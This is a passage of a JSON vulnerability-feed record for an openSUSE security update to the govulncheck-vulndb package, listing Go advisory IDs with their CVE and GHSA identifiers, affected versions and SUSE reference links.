security/cve/CVE-2026-107211"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107212"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107213"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107214"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107215"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107216"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107217"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107218"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107219"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107220"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107221"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107222"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107223"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107224"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107225"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107386"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107804"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107805"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107806"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107807"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107808"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107809"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107810"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107811"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107812"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107813"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107839"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107840"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-111497"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-111943"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-113727"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-113729"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116591"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116676"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116679"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116682"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116683"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118266"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118650"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118651"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118652"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118653"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118654"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118655"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118656"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118657"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118658"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118759"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118761"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-119285"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-12411"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13218"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13322"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13426"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-21727"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-26287"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-32284"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-33634"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34157"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41504"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41508"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41510"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55098"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55458"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55797"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56742"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56851"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56857"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56866"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-57458"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-58167"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-59707"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-60083"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61681"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61687"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61801"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62160"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62204"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62251"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62252"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62253"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62290"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62314"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62331"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62367"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62376"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62994"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64652"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64653"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64655"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64672"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-68581"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-68582"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-69085"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-72788"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73049"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73054"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73605"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73606"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73607"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73609"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73630"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73802"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-74802"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-74904"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-76216"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77375"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77459"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77524"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77622"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78659"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78660"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78661"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78663"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78667"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78669"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-82410"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-82416"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84312"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84313"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84314"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84315"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84316"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84317"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84318"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84319"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84320"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84321"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84360"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84445"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-85747"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-86597"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91968"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91969"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91970"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91971"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91972"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91973"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91979"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91980"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91981"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91982"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91983"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91984"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91985"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94439"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94440"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94444"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94447"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94448"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94603"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-95837"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-95838"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-96627"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-96628"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97030"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97031"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97032"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97045"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97394"}]},{"provider":"osv","source_id":"openSUSE-SU-2026:22336-1","relation":"upstream","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:22336-1","published_at":"2026-11-12T17:17:38Z","modified_at":"2026-11-18T17:23:43.981708Z","summary":"Security update for govulncheck-vulndb","details":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\nUpdate to version 0.0.20261105T234957 2026-11-05T23:49:57Z (jsc#PED-11136):\n\n * GO-2026-4919 CVE-2026-33634 GHSA-69fq-xp46-6x23\n * GO-2026-5932\n * GO-2026-6651 GHSA-5wf9-h793-w73c\n * GO-2026-6674 CVE-2026-107225 GHSA-5h23-36rv-pm65\n * GO-2026-6675 CVE-2026-107218 GHSA-8jjq-8j9w-m2v6\n * GO-2026-6676 CVE-2026-107221 GHSA-8mcq-6wmr-jrjv\n * GO-2026-6677 CVE-2026-107217 GHSA-c85p-xxjj-2r75\n * GO-2026-6678 CVE-2026-107223 GHSA-fq3v-74gv-27gm\n * GO-2026-6679 CVE-2026-107224 GHSA-fw94-4wwp-w8pw\n * GO-2026-6680 CVE-2026-107220 GHSA-g27h-8qhm-6pff\n * GO-2026-6681 CVE-2026-107219 GHSA-jrfj-fhj2-jjvm\n * GO-2026-6682 CVE-2026-107222 GHSA-rxcj-4pj5-74gr\n * GO-2026-6769 CVE-2026-100351 GHSA-23vg-4cjm-66q5\n * GO-2026-6778 CVE-2026-85747 GHSA-685w-q87j-wqw3\n * GO-2026-6783 CVE-2026-100347 GHSA-fh4f-47mf-f2gj\n * GO-2026-6785 CVE-2026-100354 GHSA-g8cf-rcjf-c8cf\n * GO-2026-6787 CVE-2026-100350 GHSA-h4r5-mxv5-8mjc\n * GO-2026-6789 CVE-2026-100348 GHSA-mh7x-f8wq-4jhx\n * GO-2026-6790 CVE-2026-97394 GHSA-p6wj-qrr4-pgh5\n * GO-2026-6795 CVE-2026-100352 GHSA-rj39-cv6w-8wv7\n * GO-2026-6798 CVE-2026-104252 GHSA-v75v-6fpf-gvw8\n * GO-2026-6800 CVE-2026-100353 GHSA-vrcc-3ch7-hppw\n * GO-2026-6804 CVE-2026-100349 GHSA-74vm-87hj-r66f\n * GO-2026-6825 CVE-2026-113727 GHSA-46r4-q7wv-32fc\n * GO-2026-6826 CVE-2026-113729 GHSA-5588-rp99-5fjh\n * GO-2026-6828 CVE-2026-73630 GHSA-4pjg-x8qj-33j5\n * GO-2026-6831 CVE-2026-73054 GHSA-c8w8-3pqp-wr83\n * GO-2026-6833 CVE-2026-73049 GHSA-p4qw-vx5p-g984\n * GO-2026-6834 CVE-2026-62204 GHSA-rpx2-p6hp-x5gj\n * GO-2026-6836 GHSA-xp3q-r38w-vgqm\n * GO-2026-6838 GHSA-9969-6676-49h5\n * GO-2026-6839 GHSA-cxf3-9h37-7rr8\n * GO-2026-6840 GHSA-f48p-c9v4-h7xv\n * GO-2026-6841 GHSA-h53f-rm2w-w7rg\n * GO-2026-6842 GHSA-h7wr-284f-5qvc\n * GO-2026-6844 GHSA-x9ff-22gv-65f4\n * GO-2026-6860 CVE-2026-78661\n * GO-2026-6862 CVE-2026-34157 GHSA-47hv-j4px-h3c9\n * GO-2026-6863 CVE-2026-60083 GHSA-c8r8-95hg-mp34\n * GO-2026-6865 CVE-2026-116591 GHSA-fpmh-frq8-7rj8\n * GO-2026-6866 CVE-2026-97045\n * GO-2026-6868 CVE-2026-116683 GHSA-vg84-c5mg-76xh\n * GO-2026-6869 CVE-2026-116679 GHSA-5cp7-fp4j-wwcv\n * GO-2026-6870 CVE-2026-116682 GHSA-mgqf-5mf5-prfj\n * GO-2026-6871 CVE-2026-116676 GHSA-rjh2-4xgw-p2hj\n * GO-2026-6872 CVE-2026-118653 GHSA-246p-cpwv-v3jq\n * GO-2026-6873 CVE-2026-118650 GHSA-375p-5qhx-8wq4\n * GO-2026-6874 CVE-2026-55458 GHSA-8qx7-j2v2-x6q5\n * GO-2026-6875 CVE-2026-118651 GHSA-99jh-6h7p-pp36\n * GO-2026-6876 CVE-2026-118652 GHSA-h9g5-28mm-hx3g\n * GO-2026-6877 CVE-2026-118266 GHSA-r7w9-592q-9vg4\n * GO-2026-6878 CVE-2026-118658 GHSA-23wf-92cp-8pcj\n * GO-2026-6879 CVE-2026-118657 GHSA-2ffq-g2xg-c22p\n * GO-2026-6880 GHSA-2hw4-c9m4-f2fj\n * GO-2026-6881 CVE-2026-118654 GHSA-3pmx-cf9f-34xr\n * GO-2026-6883 CVE-2026-118656 GHSA-v753-g4cw-jm48\n * GO-2026-6885 CVE-2026-118655 GHSA-xwq5-6cqp-vx96\n * GO-2026-6888 CVE-2026-111497 GHSA-c9gr-gmg4-2vqv\n * GO-2026-6889 CVE-2026-62290 GHSA-8rvj-mm4h-c258\n * GO-2026-6890 CVE-2026-62160 GHSA-rhj7-vh3v-mcq6\n * GO-2026-6891 GHSA-f3fj-9625-rv3m\n * GO-2026-6892 GHSA-fgxm-5hvv-x4vh\n * GO-2026-6893\n * GO-2026-6894 GHSA-2wrx-84qj-4pcg\n * GO-2026-6895 GHSA-494m-4556-wf5p\n * GO-2026-6896 CVE-2026-119285 GHSA-g5jq-qmqr-qrwf\n * GO-2026-6897 GHSA-hff9-5pqw-6w9f\n * GO-2026-6898 GHSA-mmq5-xm89-9pfg\n * GO-2026-6899 CVE-2026-118761 GHSA-8fmv-6rg5-5924\n * GO-2026-6900 CVE-2026-118759 GHSA-wg5q-x4j9-qm54\n * GO-2026-6902 CVE-2026-105769 GHSA-5q7h-w9jf-cx97\n * GO-2026-6905\n * GO-2026-6906 GHSA-9ppr-wfw9-xvr2\n * GO-2026-6907 GHSA-m3qr-fvp4-78xj\n * GO-2026-6908 CVE-2026-62331 GHSA-48v2-6jcm-fc99\n * GO-2026-6909\n * GO-2026-6910 CVE-2026-13426 GHSA-72v2-v53v-4qmm\n * GO-2026-6911\n * GO-2026-6912 CVE-2026-13322 GHSA-6f2p-2qg2-qqch\n * GO-2026-6913 CVE-2026-55098 GHSA-93cm-2v4m-c56c\n * GO-2026-6914 CVE-2026-13218 GHSA-q3jc-42cq-33fj\n * GO-2026-6917 CVE-2026-12411 GHSA-hhf9-qw4v-72xp\n- Update to version 0.0.20261021T002729 2026-10-21T00:27:29Z.\n * GO-2026-6667 CVE-2026-26287 GHSA-q7hv-xx6h-q2x8\n * GO-2026-6668 CVE-2026-41510 GHSA-6r3q-mjv7-xr8m\n * GO-2026-6669 CVE-2026-41504 GHSA-prpw-wwv7-xjjr\n * GO-2026-6670 CVE-2026-41508 GHSA-r3rm-qphw-hh76\n * GO-2026-6671 CVE-2026-62252 GHSA-6xp5-7rcx-xfgx\n * GO-2026-6672 CVE-2026-62251 GHSA-f46q-3v67-fmm4\n * GO-2026-6673 CVE-2026-62253 GHSA-rqcc-94gv-wjm9\n * GO-2026-6684 CVE-2026-107214 GHSA-2j4c-ffch-9f23\n * GO-2026-6685 CVE-2026-107212 GHSA-jw42-f3rr-4cc3\n * GO-2026-6686 CVE-2026-61801 GHSA-mjcv-p78q-w5fw\n * GO-2026-6687 CVE-2026-107213 GHSA-r7x5-4969-99p7\n * GO-2026-6688 CVE-2026-107216 GHSA-wp2g-vpjj-g53r\n * GO-2026-6689 CVE-2026-107215 GHSA-x2q3-8cjh-766f\n * GO-2026-6690 GHSA-3c6w-j9xm-8h2h\n * GO-2026-6691 GHSA-3wr7-993q-jrff\n * GO-2026-6692 GHSA-5gj4-9gm7-2fx2\n * GO-2026-6693 GHSA-6gcq-wc29-5xf2\n * GO-2026-6694 GHSA-g4qm-m288-5cp9\n * GO-2026-6695 CVE-2026-107211 GHSA-mx22-3794-2vpv\n * GO-2026-6696 CVE-2026-104774 GHSA-pc5q-qfxp-ggqv\n * GO-2026-6697 GHSA-rp9v-7xv3-r6g3\n * GO-2026-6698 GHSA-w253-m66g-rx24\n * GO-2026-6699 GHSA-x26q-wvhg-fh4m\n * GO-2026-6700 CVE-2026-107386 GHSA-w6r9-248c-frg8\n * GO-2026-6701 CVE-2026-55797 GHSA-j6cw-g6p4-7hch\n * GO-2026-6702 CVE-2026-107811 GHSA-32gc-wf3m-78w9\n * GO-2026-6703 CVE-2026-107809 GHSA-33rr-wq23-g6gg\n * GO-2026-6704 CVE-2026-107808 GHSA-45gv-9wjv-xh7p\n * GO-2026-6705 CVE-2026-107812 GHSA-662p-52hx-cmh2\n * GO-2026-6706 CVE-2026-107813 GHSA-h246-wpgf-vmq5\n * GO-2026-6707 CVE-2026-107810 GHSA-p8v3-89rh-jxc7\n * GO-2026-6708 CVE-2026-107807 GHSA-pvgv-gcp7-v38g\n * GO-2026-6711 CVE-2026-76216 GHSA-32r8-5843-4qw2\n * GO-2026-6713 CVE-2026-91980 GHSA-39p5-2wrr-xh29\n * GO-2026-6714 GHSA-3hc7-r24j-rpwc\n * GO-2026-6715 GHSA-4hv6-xc92-j86g\n * GO-2026-6716 CVE-2026-107839 GHSA-4jfq-pmq9-257h\n * GO-2026-6717 CVE-2026-91971 GHSA-4vh2-39rq-rq8j\n * GO-2026-6720 CVE-2026-107840 GHSA-6r69-c6wg-7g8m\n * GO-2026-6721 CVE-2026-91972 GHSA-6rvj-qwjf-3m4q\n * GO-2026-6722 CVE-2026-91982 GHSA-88f6-4rjv-x774\n * GO-2026-6723 GHSA-8wvg-r2j4-3737\n * GO-2026-6724 CVE-2026-107804 GHSA-9h23-53f4-q947\n * GO-2026-6726 CVE-2026-91983 GHSA-9rg3-v78m-26q8\n * GO-2026-6730 GHSA-fmmf-xq98-g327\n * GO-2026-6731 GHSA-fprf-r6rv-xg99\n * GO-2026-6732 GHSA-g38j-7v97-x298\n * GO-2026-6733 GHSA-hjx8-qv73-f7cm\n * GO-2026-6734 CVE-2026-107805 GHSA-j3hg-9rp3-5hw9\n * GO-2026-6737 CVE-2026-91973 GHSA-m469-88xx-8rx2\n * GO-2026-6739 GHSA-m687-p538-r5hp\n * GO-2026-6741 CVE-2026-107806 GHSA-p393-cf76-4jmr\n * GO-2026-6745 GHSA-pjr3-86v4-5p7w\n * GO-2026-6746 CVE-2026-91969 GHSA-pqf9-h8g4-8gmh\n * GO-2026-6747 CVE-2026-91985 GHSA-qfwc-vx6f-3g6g\n * GO-2026-6748 CVE-2026-62376 GHSA-r6w9-259g-gwrv\n * GO-2026-6749 CVE-2026-68582 GHSA-rj9j-8772-4h6c\n * GO-2026-6750 CVE-2026-57458 GHSA-v3p6-34mc-hj7v\n * GO-2026-6752 CVE-2026-91981 GHSA-vfxw-3x8p-2vjr\n * GO-2026-6753 CVE-2026-68581 GHSA-vvcv-vpph-h844\n * GO-2026-6754 GHSA-w2ch-4xgr-22ww\n * GO-2026-6755 CVE-2026-91984 GHSA-w39f-h553-h2mx\n * GO-2026-6756 CVE-2026-91979 GHSA-w7jp-mf2v-8342\n * GO-2026-6757 CVE-2026-91970 GHSA-wq92-8x3r-fm38\n * GO-2026-6758 CVE-2026-62367 GHSA-xv7q-fvmc-jx96\n * GO-2026-6759 CVE-2026-91968 GHSA-xxc3-xpmc-vmvr\n * GO-2026-6765 CVE-2026-64653 GHSA-4fjg-2h4q-fwg3\n * GO-2026-6766 CVE-2026-64652 GHSA-cg6r-mpgc-h9mm\n * GO-2026-6767 CVE-2026-64655 GHSA-mm27-mwq9-fr5g\n * GO-2026-6768 CVE-2026-64672 GHSA-wv6g-x823-wx9m\n * GO-2026-6770 CVE-2026-94603 GHSA-2cvf-wqm6-wr9g\n * GO-2026-6771 CVE-2026-84314 GHSA-2gc7-j998-5xx6\n * GO-2026-6772 CVE-2026-102603 GHSA-3hcj-9m7p-wwm9\n * GO-2026-6773 CVE-2026-84312 GHSA-44xr-mrhh-qm78\n * GO-2026-6774 CVE-2026-84319 GHSA-5r62-gj48-897x\n * GO-2026-6775 CVE-2026-84315 GHSA-5v7c-xpfp-p65m\n * GO-2026-6776 CVE-2026-77524 GHSA-637c-6jxx-4rwm\n * GO-2026-6777 CVE-2026-77622 GHSA-663m-7x7m-g4fw\n * GO-2026-6779 CVE-2026-84317 GHSA-76pm-mq2q-9gcr\n * GO-2026-6781 CVE-2026-84318 GHSA-9jww-cxg5-rj9m\n * GO-2026-6782 CVE-2026-84316 GHSA-cf23-7qxj-xmhr\n * GO-2026-6784 CVE-2026-77459 GHSA-fmxq-cgp8-87wp\n * GO-2026-6786 CVE-2026-84313 GHSA-gfrc-g87h-7h5w\n * GO-2026-6788 CVE-2026-84320 GHSA-jrq7-xrjx-pcfw\n * GO-2026-6791 CVE-2026-95837 GHSA-p7v4-vr35-mj6f\n * GO-2026-6792 CVE-2026-77375 GHSA-q7pc-356p-hggc\n * GO-2026-6794 CVE-2026-100394 GHSA-qjpp-gffx-2wm9\n * GO-2026-6796 CVE-2026-95838 GHSA-rp3h-jf77-q9p4\n * GO-2026-6797 CVE-2026-82416 GHSA-v3ph-cgqh-r8p5\n * GO-2026-6799 CVE-2026-84360 GHSA-vc32-4gwf-77xp\n * GO-2026-6801 CVE-2026-84321 GHSA-wq4w-vwvq-q3x9\n * GO-2026-6802 CVE-2026-103028 GHSA-wwv9-g5x4-966q\n * GO-2026-6805 CVE-2026-62994 GHSA-74w3-63xv-x9mv\n * GO-2026-6806 CVE-2026-96628 GHSA-mp22-58ff-6fhr\n * GO-2026-6807 CVE-2026-96627 GHSA-pw5q-rjx4-7f7p\n * GO-2026-6809 CVE-2026-111943\n- Update to version 0.0.20261008T223109 2026-10-08T22:31:09Z.\n * GO-2026-4513 CVE-2026-32284 CVE-2026-32284 GHSA-h9q6-hc68-35rp\n * GO-2026-4740\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6489 CVE-2026-82410 GHSA-84vh-m24q-wjjx\n * GO-2026-6535 CVE-2026-61687 GHSA-phg3-3g28-wq9v\n * GO-2026-6565 CVE-2026-61681 GHSA-fjwv-jf2v-j499\n * GO-2026-6596 CVE-2026-56742 GHSA-w7c2-w76w-5hmj\n * GO-2026-6599 CVE-2026-94448\n * GO-2026-6600 CVE-2026-97030\n * GO-2026-6601 CVE-2026-94444\n * GO-2026-6602 CVE-2026-94447\n * GO-2026-6603 CVE-2026-78659\n * GO-2026-6604 CVE-2026-56857\n * GO-2026-6605 CVE-2026-56866\n * GO-2026-6607 CVE-2026-97031\n * GO-2026-6608 CVE-2026-94440\n * GO-2026-6609 CVE-2026-78667\n * GO-2026-6610 CVE-2026-78660\n * GO-2026-6611 CVE-2026-78669\n * GO-2026-6612 CVE-2026-78663\n * GO-2026-6613 CVE-2026-94439\n * GO-2026-6617 CVE-2026-97032\n * GO-2026-6621 CVE-2026-69085 GHSA-33jq-p8c2-q3q4\n * GO-2026-6622 CVE-2026-72788 GHSA-hgfg-j9pg-43xw\n * GO-2026-6624 CVE-2026-73607 GHSA-53fp-9jmv-227g\n * GO-2026-6626 CVE-2026-73605 GHSA-hf8h-97gm-4x2p\n * GO-2026-6629 CVE-2026-56851\n * GO-2026-6632 GHSA-9cqf-hhrq-7v45\n * GO-2026-6634 CVE-2026-73609 GHSA-j4ph-9xwf-wcj4\n * GO-2026-6635 CVE-2026-73606 GHSA-vg99-7gj7-2fr5\n * GO-2026-6638 CVE-2026-58167 GHSA-27c6-wp53-387x\n * GO-2026-6639 CVE-2026-62314 GHSA-6wcg-mqvh-fcvg\n * GO-2026-6645 CVE-2026-59707 GHSA-8c5q-hx4g-qq23\n * GO-2026-6650 CVE-2026-74802 GHSA-3cc2-h3v6-rqpq\n * GO-2026-6654 CVE-2026-74904 GHSA-4vpg-gwqq-w44c\n * GO-2026-6655 GHSA-p23f-cm6q-2qp8\n * GO-2026-6656 CVE-2026-73802 GHSA-x4q3-gcj3-m6cf\n * GO-2026-6657 GHSA-x8gv-g2g3-65fj\n * GO-2026-6662 GHSA-3cm4-ccvw-6xr6\n * GO-2026-6663 GHSA-4wwp-f6gw-6qm5\n * GO-2026-6664 CVE-2026-21727 GHSA-p5x9-j974-rpfp\n * GO-2026-6665 CVE-2026-86597 GHSA-qqj6-54q6-cxv6","severity":[],"affected":[{"ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/opensuse/govulncheck-vulndb&distro=openSUSE%20Leap%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"openSUSE-SU-2026:22336-1","relation":"upstream"}],"product_status":[],"references":[{"type":"ADVISORY","url":""},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100347"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100348"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100349"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100350"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100351"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100352"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100353"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100354"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100394"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-102603"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-103028"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-104252"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-104774"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-105769"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107211"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107212"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107213"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107214"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107215"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107216"},{"type":"WEB","url":"https://www.suse.